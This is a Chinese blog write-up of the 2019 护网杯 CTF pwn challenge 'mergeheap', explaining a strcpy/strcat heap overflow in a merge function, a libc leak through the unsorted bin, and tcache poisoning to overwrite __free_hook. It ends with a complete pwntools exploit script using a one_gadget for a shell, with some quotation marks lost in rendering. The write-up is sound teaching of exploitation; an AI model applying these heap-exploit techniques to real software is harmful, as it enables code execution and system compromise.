首页 > 其他 > 详细

护网杯2019 mergeheap --pwn

时间:2019-09-09 01:49:17      阅读:106      评论:0      收藏:0      [点我收藏+]

护网 又是签到 一天

 

这道题一开始 不懂得如何泄露 libc 信息,就蒙了  后来群里师傅也是刚刚好 做出 到这里 我就接着做了 。

先看下保护,发现  全开了 

技术分享图片

 

 

然后 就看下流程 

技术分享图片

 

 大概 就是添加  chunk  show  合并两个chunk 

 可利用的 洞就是

int merge()
{
  int v1; // ST1C_4
  signed int i; // [rsp+8h] [rbp-18h]
  int index1; // [rsp+Ch] [rbp-14h]
  int index2; // [rsp+10h] [rbp-10h]

  for ( i = 0; i <= 14 && ptr_array[i]; ++i )
    ;
  if ( i > 14 )
    return puts("full");
  printf("idx1:");
  index1 = sub_B8B();
  if ( index1 < 0 || index1 > 14 || !ptr_array[index1] )
    return puts("invalid");
  printf("idx2:");
  index2 = sub_B8B();
  if ( index2 < 0 || index2 > 14 || !ptr_array[index2] )
    return puts("invalid");
  v1 = size_array[index1] + size_array[index2];
  ptr_array[i] = malloc(v1);
  strcpy((char *)ptr_array[i], (const char *)ptr_array[index1]);
  strcat((char *)ptr_array[i], (const char *)ptr_array[index2]);
  size_array[i] = v1;
  return puts("Done");
}

前面的strcpy和strcat的时候只有遇到0才停止复制 所以在merge 的时候 会有可能 把下一chunk的size 复制过来 然后溢出修改了 下一个chunk的 size

所以可以利用这点去 溢出,然后构建好payload ,然后 merge  再 free 再malloc的时候写到 一个unsortbin的pre_size 和 size 这样 在show的时候就是连带着unsortbin的fd输出了

技术分享图片

 

 我看 了另一个师傅的 wp 

也发现了 另一种 泄露的 方面  那个简单 而且不麻烦 

技术分享图片

 

 这个 就是  填满了 tcache 再分配了 一个unsortbin的 chunk 然后free  就是在fd 和bk上写入了main_arena 的上地址,然后  再mallo回来的时候 把前面的 fd写满 就能 泄露了

 

剩下就的 获取任意写的能力了 那 其实也是跟第一种 leak 的方法一样的  操作

就是 在 merge 分配到的 chunk下面有 tacahe中的 bin  ,但是要在tacache中要有两个 这样可以形成链式,然后就可以修改前面的size 在free 再malloc  在malloc的时候  修改fd的内容 这样就能任意地址malloc了  再malloc 到 malloc_hook  或者  free_hook 就样就能getshell了

技术分享图片

 

 技术分享图片

 

 修改之后

技术分享图片

 

 malloc 一次

技术分享图片

 

 这下再malloc 就ok了 

 

下面贴出 exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#from pwnpwnpwn import *
from pwn import *
context.log_level = debug
host = "127.0.0.1"
port = 8888

r = remote(host,port)
e = ELF(./mergeheap)
libc = ELF(./libc-2.27.so)
def add(size, content):
    r.recvuntil(">>")
    r.sendline(str(1))
    r.recvuntil("len:")
    r.sendline(str(size))
    r.recvuntil("content:")
    r.sendline(content)

def dele(idx):
    r.recvuntil(">>")
    r.sendline(str(3))
    r.recvuntil("idx:")
    r.sendline(str(idx))

def show(idx):
    r.recvuntil(">>")
    r.sendline(str(2))
    r.recvuntil("idx:")
    r.sendline(str(idx))

def merge(idx1, idx2):
    r.recvuntil(">>")
    r.sendline(str(4))
    r.recvuntil("idx1:")
    r.sendline(str(idx1))
    r.recvuntil("idx2:")
    r.sendline(str(idx2))

puts_got = e.got[puts]
log.info(puts_got:0x%x%puts_got)
add(0x30, a*0x30)  #0
add(0x38, b*0x38)  #1
add(0x100,C*0x10)   #2
add(0x400, c*0x10) #3
add(0x200, d*0x10) #4
add(0x68, e*0x68)  #5
add(0x20,‘‘)#6
add(0x20,‘‘)#7
add(0x20,‘‘)#8
add(0x20,‘‘)#9
dele(7)
dele(8)
merge(3,4)
add(0xa8,B*0x68)
dele(7)
dele(5)
merge(0,1)
add(0x30,a*0x10)
dele(6)
add(0x100,a*0xff+Q)
show(6)
r.recvuntil("Q")
leak = u64(r.recvuntil("\n",drop = True).ljust(8,\x00))
libc_addr = leak -0x3ebca0
log.info(libc: 0x%x%libc_addr)
dele(6)
target = libc_addr + libc.symbols[__free_hook]-0x13
onegae = libc_addr + 0x4f322
log.info(onegae: 0x%x%onegae)
add(0x100,a*0x60+p64(target)+p64(0))
add(0x20,‘‘)
add(0x20,a*0x13+p64(onegae))
dele(0)
r.interactive()

 

护网杯2019 mergeheap --pwn

原文:https://www.cnblogs.com/liyuechan/p/11489077.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!